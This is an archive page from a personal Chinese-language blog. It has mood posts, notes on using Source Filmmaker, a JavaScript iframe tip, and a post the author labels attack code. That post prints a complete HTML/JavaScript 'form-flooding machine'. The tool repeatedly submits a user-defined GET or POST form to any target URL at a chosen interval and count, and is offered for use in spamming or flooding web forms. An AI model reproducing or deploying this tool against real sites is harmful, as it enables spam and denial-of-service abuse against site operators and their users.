Weil Jimmer's BlogWeil Jimmer's Blog


節制心情文章

No Comments
-
發布於 2014-07-13 21:11:38

有點不想再繼續下去了!突然覺得,發表任何心情文章有點無意義,以及遊戲文章也是!這個Blog,較少出現關於電腦軟體網路方面的任何文章,反而出現一堆無意義的文章,看到我Blog右上角寫了電腦資訊站了……那我還發那麼多無意義的心情貼文?以後我會盡量避免,我不想再次陷入思考的迴圈以及憂鬱中。只要不提,就不會感傷了。


This entry was posted in Mood By Weil Jimmer.

表單灌水機JaveScript & HTML攻擊代碼

No Comments
-
更新於 2015-04-26 12:48:40

最近因為寫完了VB.NET版的超高級表單灌水機後(可以破解文字驗證碼,以及真實夾帶Cookie及Session。以及表單分析,連填寫Name都不用,給網址按分析原碼就可以了。),就不想用舊版的JS&HTML的代碼了,就順便發一發。

只支持15個欄位。

很久以前寫的舊版POST/GET JS & HTML攻擊代碼:

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>表單灌水</title>
<style type="text/css">
.style1 {
	border-collapse: collapse;
	border: 1px solid #FFFF00;
	align: center;
}
</style>
<script language="JavaScript">
function set_form() {
window.document.getElementById('a1').name=window.document.getElementById('b1').value;
window.document.getElementById('a2').name=window.document.getElementById('b2').value;
window.document.getElementById('a3').name=window.document.getElementById('b3').value;
window.document.getElementById('a4').name=window.document.getElementById('b4').value;
window.document.getElementById('a5').name=window.document.getElementById('b5').value;
window.document.getElementById('a6').name=window.document.getElementById('b6').value;
window.document.getElementById('a7').name=window.document.getElementById('b7').value;
window.document.getElementById('a8').name=window.document.getElementById('b8').value;
window.document.getElementById('a9').name=window.document.getElementById('b9').value;
window.document.getElementById('a10').name=window.document.getElementById('b10').value;
window.document.getElementById('a11').name=window.document.getElementById('b11').value;
window.document.getElementById('a12').name=window.document.getElementById('b12').value;
window.document.getElementById('a13').name=window.document.getElementById('b13').value;
window.document.getElementById('a14').name=window.document.getElementById('b14').value;
window.document.getElementById('a15').name=window.document.getElementById('b15').value;
window.document.getElementById('a16').name=window.document.getElementById('b16').value;
window.document.getElementById('a17').name=window.document.getElementById('b17').value;
window.document.getElementById('form1').action=window.document.getElementById('action1').value;
window.document.getElementById('form1').method=window.document.getElementById('method1').value;
window.document.getElementById('form1').name=window.document.getElementById('namex1').value;
}
function postForm() {
window.document.getElementById('form1').submit();
a=setTimeout("postForm()",window.document.getElementById('wait_x').value);
}
function timeOut() {
b=setTimeout("alert('灌水完畢!');timeStop();",(window.document.getElementById('wait_x').value*window.document.getElementById('times_x').value-1));
}
var ftimes;
ftimes=0;
function timeCount(){
ftimes=ftimes+1;
times.innerHTML='<font color=blue>第 '+ftimes+' 次</font>';
c=setTimeout("timeCount()",window.document.getElementById('wait_x').value);
return false;
}
function timeStop(){
clearTimeout(a);
clearTimeout(b);
clearTimeout(c);
ftimes=0;
}
</script>

</head>
<body  style="color: #FF00FF; background-color: #000000">
<center>
<h3><font color='red'>表單灌水機-Weil Jimmer</font></h3>
</center>
<form id="form1" name="form1" action="" method="get" target="k">
<table style="width: 950px;" border="1" cellpadding="2" cellspacing="2" class="style1" align="center">
	<tr>
		<td>目標網站(灌水):<input type="text" id="action1" name="url" value="http://www.example.com/"><input type="hidden" name="type" value="formpost" /></td>
		<td>提交方式(表單):<input type="text" id="method1" name="way" value="post"><input type="hidden" name="mod" value="1" /></td>
		<td>Name(表單名稱):<input type="text" id="namex1" name="fname" value="form1"><input type="hidden" name="start" value="1" /></td>
	</tr>
	<tr>
		<td>間隔時間(毫秒):<input type="text" id="wait_x" value="1000"></td>
		<td>提交幾次(整數):<input type="text" id="times_x" value="10"></td>
		<td>&nbsp;</td>
	</tr>
</table>
<br><br>
<table style="width: 750px;" border="1" cellpadding="3" cellspacing="3" class="style1" align="center">
	<tr>
		<td>Name01:<input type="text" id="b1" name="name1" style="width: 250px"></td>
		<td>Value01:<input type="text" id="a1" name="var1" style="width: 300px"></td>
	</tr>
	<tr>
		<td>Name02:<input type="text" id="b2" name="name2" style="width: 250px"></td>
		<td>Value02:<input type="text" id="a2" name="var2" style="width: 300px"></td>
	</tr>
	<tr>
		<td>Name03:<input type="text" id="b3" name="name3" style="width: 250px"></td>
		<td>Value03:<input type="text" id="a3" name="var3" style="width: 300px"></td>
	</tr>
	<tr>
		<td>Name04:<input type="text" id="b4" name="name4" style="width: 250px"></td>
		<td>Value04:<input type="text" id="a4" name="var4" style="width: 300px"></td>
	</tr>
	<tr>
		<td>Name05:<input type="text" id="b5" name="name5" style="width: 250px"></td>
		<td>Value05:<input type="text" id="a5" name="var5" style="width: 300px"></td>
	</tr>
	<tr>
		<td>Name06:<input type="text" id="b6" name="name6" style="width: 250px"></td>
		<td>Value06:<input type="text" id="a6" name="var6" style="width: 300px"></td>
	</tr>
	<tr>
		<td>Name07:<input type="text" id="b7" name="name7" style="width: 250px"></td>
		<td>Value07:<input type="text" id="a7" name="var7" style="width: 300px"></td>
	</tr>
	<tr>
		<td>Name08:<input type="text" id="b8" name="name8" style="width: 250px"></td>
		<td>Value08:<input type="text" id="a8" name="var8" style="width: 300px"></td>
	</tr>
	<tr>
		<td>Name09:<input type="text" id="b9" name="name9" style="width: 250px"></td>
		<td>Value09:<input type="text" id="a9" name="var9" style="width: 300px"></td>
	</tr>
	<tr>
		<td>Name10:<input type="text" id="b10" name="name10" style="width: 250px"></td>
		<td>Value10:<input type="text" id="a10" name="var10" style="width: 300px"></td>
	</tr>
	<tr>
		<td>Name11:<input type="text" id="b11" name="name11" style="width: 250px"></td>
		<td>Value11:<input type="text" id="a11" name="var11" style="width: 300px"></td>
	</tr>
	<tr>
		<td>Name12:<input type="text" id="b12" name="name12" style="width: 250px"></td>
		<td>Value12:<input type="text" id="a12" name="var12" style="width: 300px"></td>
	</tr>
	<tr>
		<td>Name13:<input type="text" id="b13" name="name13" style="width: 250px"></td>
		<td>Value13:<input type="text" id="a13" name="var13" style="width: 300px"></td>
	</tr>
	<tr>
		<td>Name14:<input type="text" id="b14" name="name14" style="width: 250px"></td>
		<td>Value14:<input type="text" id="a14" name="var14" style="width: 300px"></td>
	</tr>
	<tr>
		<td>Name15:<input type="text" id="b15" name="name15" style="width: 250px"></td>
		<td>Value15:<input type="text" id="a15" name="var15" style="width: 300px"></td>
	</tr>
	<tr>
		<td>Name :<input readonly type="text" id="b16" name="submit0" value="Submit" style="width: 250px"></td>
		<td>Value :<input type="text" id="a16" name="submit1" style="width: 300px"></td>
	</tr>
	<tr>
		<td>Name :<input readonly type="text" id="b17" name="reset0" value="Reset" style="width: 250px"></td>
		<td>Value :<input type="text" id="a17" name="reset1" style="width: 300px"></td>
	</tr>
</table>
</form>
<br><br>
<center>
<input name="button" type="button" value="開始灌水!" onclick="set_form();postForm();timeOut();timeCount();"><input name="button2" type="button" value="停止灌水!" onclick="timeStop();"><br>
<div id="times"></div></center><br>
<br></br><br></br>
<iframe name="k" id="k"  src="" height="100%" width="100%">您的瀏覽器不支援內置框架或目前的設定為不顯示內置框架。</iframe>
</body>
</html>

This entry was posted in HTML, JS By Weil Jimmer.

最有效避免憂鬱與空虛的方法就是玩遊戲

No Comments
-
發布於 2014-07-11 17:01:40

近來,因為暑假開始,於是心中也煩躁,關於暑假到底要幹嘛。總不能成天讀書。

寫程式也寫到煩了,整天不是Debug就是去看看新聞,查資料。

對於 像我這種很宅的人 來說,暑假,很無聊。

但是,玩起遊戲才明白,之前也是這樣度過的,就是成天沉迷在遊戲中。

解開無聊及空虛的枷鎖。煩躁憂鬱的心情就好些了……


This entry was posted in Mood By Weil Jimmer.

最近在學SFM(Source Filmmaker)的心得

2 Comments
-
更新於 2016-02-27 16:54:41

-2014/8/27更新-

這段就是真的有感而發了!一天到晚就在英文教學網站閒晃。然後做出短短幾秒鐘的影片就要花費一堆時間。

我的願望是可以來做L4D2感人影片。

但是以現在我的能力,很有限的情況下,幾乎是不可能辦得到的。但我相信日後學習也許可以做得到。

網路上幾乎沒有中文教學,應該說「完全沒有」!至少我沒有查到,我想應該很少人查到。

只能仰賴英文網站,Youtube的官方英文視頻。(只有第「零」集 Basic 有簡體中文字幕)

沒有同好!關於這一切我只能說很難,很麻煩。

一個人物的動作,即使只有幾秒,也要設定好幾分鐘,甚至要開好幾個鏡頭細看,因為你不知道有沒有設定錯誤!尤其是 IK控件 沒有套用的時候!就算套用了,沒有選好的話,還是可以把人物拉長的,也就是動畫會顯得很奇怪!因且通常都是沒有循環的,得自己用!

即使有內建的,要修改其中一個部分也很難!這不是想像中的好修改,應該要說麻煩吧,我建議是最好什麼都不要用拉的,選好關節用旋轉的!比較不會出現怪異的情況。

SFM不是想像中的簡單,但是卻很強大。我現在已經大概了解裡面的運作了,創建人物模組,移到適當的地點,建立動畫關鍵影格,做好3D配置,鏡頭的調整,最後播放。

只是建立人物動作的關鍵影格最麻煩!

調整好之後,官方也有教學「匯入內建的動作」,因此某些動作(如:行走,攻擊……等)不用那麼麻煩,自己去調整,只要匯入,就搞定了,切換到rootTransform轉一下角度移動位置,動畫就播放的很順利。

在於"非官方模組",並沒有所謂的內建動作!那麼,有個辦法是:載入官方模組,匯入動作之後,再把模組動作"匯出",到時候導入那個匯出去的模組,比對好之後就可以套用了。

簡單來說就是把內建的拿出來外面,再放回去裡面,因為沒辦法直接從非官方模組套用動作。

最令我困惑,以前研究很久的還是在於其他模組/地圖,因為預設只有TF2,要下載額外的內容也是免費的,但是並沒有所謂的L4D2,也沒有CSGO,需要透過GCFScape這套工具!

解壓縮文件目錄下的 副檔名為VPK檔案,主檔名後驟是 "_dir" 的 檔案,接著再提取出來,貌似還要 Run BAT檔案修復模組,不過根據我的實作後的經驗,根本不需要修復!

也就是,不能運行那個BAT檔案,運行了才會出錯。SFM討論區裡面已經有英文文章再講解這個了。

得到模組後,丟進SourceFilmmaker/game/資料夾裡面,修改usermod資料夾裡面的gameinfo.txt,下方有很多配置,反正就是找到SearchPaths類別的大括號,在裡面插入新的一行,照同樣的格式打入文件資料夾的名稱。

這樣就可以在SFM裡面匯入了,貌似只有地圖檔最麻煩,除了反編譯就別無他法了。

我一開始以為官方視頻會教這些,但是,什麼都沒有!

只有講解要怎麼操作罷了。非常令人厭惡。

By Weil Jimmer


This entry was posted in Experience, Mood By Weil Jimmer.

Javascript 框架物件調用

No Comments
-
更新於 2016-02-27 16:54:19

document.getElementById("框架ID").contentWindow.document.getElementById("框架下的物件ID")

 


This entry was posted in Experience, Functions By Weil Jimmer.

最前頁 上一頁  13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 /28 頁)下一頁 最終頁

Visitor Count

pop
nonenonenone

Note

台灣假新聞橫行,沒一家霉體能信的,網軍側翼到處洗風向,堪憂。

毋忘初心,
絕不利慾薰心。

支持網路中立性.
Support Net Neutrality.

飽暖思淫欲,
饑寒起盜心。

支持臺灣實施無條件基本收入

歡迎前來本站。

Words Quiz


Search

Music

Blogging Journey

4478days

since our first blog post.

The strong do what they can and the weak suffer what they must.

Privacy is your right and ability to be yourself and express yourself without the fear that someone is looking over your shoulder and that you might be punished for being yourself, whatever that may be.

It is quality rather than quantity that matters.

I WANT Internet Freedom.

Reality made most of people lost their childishness.

Justice,Freedom,Knowledge.

Without music life would be a mistake.

Support/Donate

This site also need a little money to maintain operations, not entirely without any cost in the Internet. Your donations will be the best support and power of the site.
MethodBitcoin Address
bitcoin1gtuwCjjVVrNUHPGvW6nsuWGxSwygUv4x
buymeacoffee
Register in linode via invitation link and stay active for three months.Linode

Support The Zeitgeist Movement

The Zeitgeist Movement

The Lie We Live

The Lie We Live

The Questions We Never Ask

The Questions We Never Ask

Man

Man

THE EMPLOYMENT

Man

In The Fall

In The Fall

Facebook is EATING the Internet

Facebook

Categories

Android (7)

Announcement (4)

Arduino (2)

Bash (2)

C (3)

C# (5)

C++ (1)

Experience (52)

Flash (2)

Free (13)

Functions (36)

Games (13)

General (60)

Git (2)

HTML (7)

Java (13)

JS (7)

Mood (24)

NAS (2)

Note (32)

Office (1)

OpenWrt (6)

PHP (9)

Privacy (4)

Product (12)

Python (4)

Software (11)

The Internet (25)

Tools (16)

VB.NET (8)

WebHosting (7)

Wi-Fi (5)

XML (4)